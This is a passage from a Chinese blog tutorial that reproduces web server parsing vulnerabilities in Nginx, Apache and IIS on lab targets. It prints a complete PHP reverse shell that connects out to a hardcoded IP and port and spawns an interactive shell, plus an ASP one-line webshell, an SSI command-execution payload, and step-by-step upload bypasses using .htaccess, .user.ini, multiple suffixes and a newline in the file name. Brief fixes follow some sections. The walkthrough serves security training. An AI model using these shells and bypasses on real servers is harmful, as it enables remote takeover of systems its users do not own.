stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

在這里插入圖片描述
kali進行埠監聽,訪問上傳的檔案,對上傳的檔案進行php決議,
在這里插入圖片描述

  • 成功反彈shell
    在這里插入圖片描述
  • 漏洞修復:設定security.limit_extensions=.php,重啟服務

Apache

14. Apache多后綴決議漏洞(apache_parsing_vulnerability)

  • 漏洞原理:Apache httpd支持一個檔案多后綴,這不同于windows作業系統,windows對檔案的識別是看最后一個“.”后面的格式,假設一個多后綴檔案phpinfo.php,jpg,Apache對多檔案后綴的識別方式是從后往前進行識別,先識別.jpg后綴檔案,但是并不能被識別,所以往前去識別php后綴,以此類推,如果這些后綴都無法識別,那么會將檔案當做默認檔案型別去處理,檔案/etc/mime.types規定了Apache可以識別的后綴,下面是檔案中部分后綴
    在這里插入圖片描述

  • 實戰中一般使用rar,owf檔案進行利用,因為Apache也可以識別jpg格式,很有可能會將檔案當做jpg檔案進行決議

  • 主頁為檔案上傳頁面
    在這里插入圖片描述

  • 直接上傳php后綴檔案,上傳失敗
    在這里插入圖片描述

  • 上傳多后綴檔案phpInfo.php.jpg,上傳成功并回傳上傳路徑
    在這里插入圖片描述

  • 訪問上傳的多后綴檔案,此時發現被決議成了php檔案
    在這里插入圖片描述

  • 上傳反彈shell腳本shell2.php.jpg
    在這里插入圖片描述
    一般上傳時最好加上假圖片頭

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';  
$port = 5555;       
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>
  • php決議上傳的shell2.php.jpg
    在這里插入圖片描述

  • 成功反彈shell
    在這里插入圖片描述

  • 漏洞修復:將AddHandler application/x-httpd-php.php組態檔洗掉,

15. Apache換行決議漏洞(CVE-2017-15715)

  • 知識小點:將linux下檔案復制到docker容器中:
    第一步:查看docker容器名,或者容器短ID
#查看當前運行容器:
docker ps
#查看所有容器:
docker ps -a 

在這里插入圖片描述
第二步:查看容器的長ID

docker inspect -f '{{.ID}}' 容器名/短ID

在這里插入圖片描述
第三步:將檔案復制到docker容器中

docker cp 本地路徑 容器長ID:目標路徑

在這里插入圖片描述

  • 漏洞原理:由于修復后綴名決議漏洞,用正則來匹配后綴,在決議檔案phpinfo.php[0x0A]時會將檔案當做php檔案進行決議,導致繞過服務器的一些安全策略
  • 漏洞存在版本:apache的2.4.0~2.4.29
  • 漏洞復現:
    這里我們需要自己添加前端原始碼,將以下的前端代碼添加到index.php,這里就要用到以上向容器中復制檔案的步驟,當然還有一種簡單的方法,就是打開F12頁面,將下面HTML源代碼添加上去即可
 <html>

        <head><meta charset="utf-8"></head>

           <body>

                <form action method="post" enctype="multipart/form-data">

                    <label for="file">檔案名:</label>

                    <input type="file" name="file" id="file"><br>

                    <input type="text" name="name" <br>

                    <input type="submit" name="submit" value="提交">

                </form>

          </body>
          
</html>

從原始碼中可以看出這里對php等檔案后綴進行了黑名單過濾
在這里插入圖片描述

添加原始碼后,訪問的主頁:
在這里插入圖片描述

  • 上傳phpinfo.php檔案,并將其重命名為a.php
    在這里插入圖片描述
    在上傳前使用burp將a.php修改為a.php[0x0a],然后Send
    在這里插入圖片描述
    訪問上傳的檔案a.php[0x0a],可以發現已經將檔案決議為php格式
http://192.168.30.209:8080/a.php%0a

在這里插入圖片描述
然后就可以上傳惡意的php代碼,進行phpj決議,反彈shell等操作

  • 漏洞修復:升級Apache版本,在原始碼中對用戶上傳的檔案名進行檢查,過濾[0x0a]

16. Apache遠程命令執行漏洞(ssi-rce)

  • 漏洞原理:這是一個配置不當造成的決議漏洞,和nginx的版本無關,如果服務器開啟了SSI(Server Side Include)與CGI支持,我們可以上傳一個.shtml檔案,內容類似<!--#exec cmd='ls'-->這樣形式去執行任意命令,

  • 漏洞復現:
    訪問upload.php,上傳php檔案發現上傳失敗
    在這里插入圖片描述
    上傳一個exec.shtml檔案,內容為<!--#exec cmd="whoami" -->
    在這里插入圖片描述
    訪問上傳的檔案,發現成功執行命令
    在這里插入圖片描述

17. Apache htaccess檔案上傳漏洞

  • 分布式組態檔htaccess
    漏洞復現:BUUCTF-你傳你🐎呢
  1. 寫一個.htaccess檔案用于將.jpg決議成.php
    在這里插入圖片描述

  2. 上傳時注意修改型別image/jpeg
    在這里插入圖片描述

  3. 上傳假圖片頭馬
    在這里插入圖片描述
    在這里插入圖片描述

  4. 蟻劍連接
    在這里插入圖片描述

  5. 查看flag
    在這里插入圖片描述

18. Apache、Nginx和IIS等.user.ini檔案上傳漏洞

  • 漏洞原理:只要是fastcgi運行php,都可以修改.user.ini來造成決議漏洞

漏洞復現:BUUCTF-CheckIn
原著

.user.ini是什么? 上傳.user.ini檔案,條件如下:
(1)服務器腳本語言為PHP
(2)對應目錄下面有可執行的php檔案
(3)服務器使用CGI/FastCGI模式
服務器以fastcgi啟動運行的時候,.user.ini也是php的一種組態檔,php.ini是php的組態檔,它可以做到顯示報錯,匯入擴展,檔案決議,web站點路徑等等設定,但是如果想要把某個檔案里面的配置與全域的php.ini不同,則可以在php檔案中加上ini_set()來配置特定的配置變數,
而.user.ini和.htaccess一樣是對當前目錄的所以php檔案的配置設定,即寫了.user.ini和它同目錄的檔案會優先使用.user.ini中設定的配置屬性,
但是不是php.ini中的每個變數都能通過ini_set()或者.user.ini和.htaccess來設定,簡單的來說每個變數有它所屬于的模式,
auto_prepend_file=abc.jpg
這個auto_prepend_file就是指定一個檔案在主檔案決議前決議,這個配置在涉及到FPM的題里可以說是非常常見了,幾乎每次和FPM有關的題都要利用這個配置

  1. 上傳.user.ini
    在這里插入圖片描述

在這里插入圖片描述

  1. 上傳abc.jpg,這樣寫的原因是因為原始碼對上傳的檔案過濾了<?,為了繞過過濾
    在這里插入圖片描述
    在這里插入圖片描述

  2. 訪問上傳路徑的主頁,出現GIF89a
    在這里插入圖片描述

  3. 訪問php主頁資訊
    在這里插入圖片描述

  4. 查看flag
    在這里插入圖片描述
    在這里插入圖片描述

IIS

19. IIS 6.X決議漏洞

IIS(Internet Information Services)目前只適用于Windows系統

  • 影響版本:IIS 6.X

  • 一、基于檔案名

  • 漏洞原理:該版本會將形如*.asp;.jpg這種格式的檔案,當成asp決議,原理是服務器默認不決議;后面的內容,起到了截斷作用

  • 這里拿了大佬的圖
    在這里插入圖片描述

  • IIS6.X不僅會將.asp后綴檔案決議成asp檔案,也會將asa,cer,cdx檔案解成asp檔案

  • 二、基于目錄名
    該漏洞會將*.asp/目錄下的檔案都當做.asp檔案進行決議

  • 漏洞復現:這里直接使用墨者學院靶場

在這里插入圖片描述

上傳asp一句話木馬

<%eval request("shell")%

在這里插入圖片描述
burp抓包修改檔案夾名
在這里插入圖片描述
上傳成功
在這里插入圖片描述
蟻劍成功連接
在這里插入圖片描述
查看flag
在這里插入圖片描述
漏洞修復:官方并不認為這是一個漏洞,并沒有推出漏洞補丁,所以這里需要自行修復,修復方法:

  1. 限制上傳目錄執行權力,不允許執行腳本
  2. 禁止用戶創建檔案夾
  3. 對用戶上傳的檔案進行重命名(時間戳+亂數+.jpg)

20. IIS 7.X決議漏洞

IIS在Fast-CGI運行模式下,在任意檔案后面加上/.php都會將檔案決議成php檔案,例:訪問test.jpg檔案時,在后面加上/.php將會將檔案決議成php格式
在這里插入圖片描述

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/354522.html

標籤:其他

上一篇:Locally Differential Private Frequency Estimation with Consistency: LDP的主流后處理演算法

下一篇:遠程代碼執行漏洞分析

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more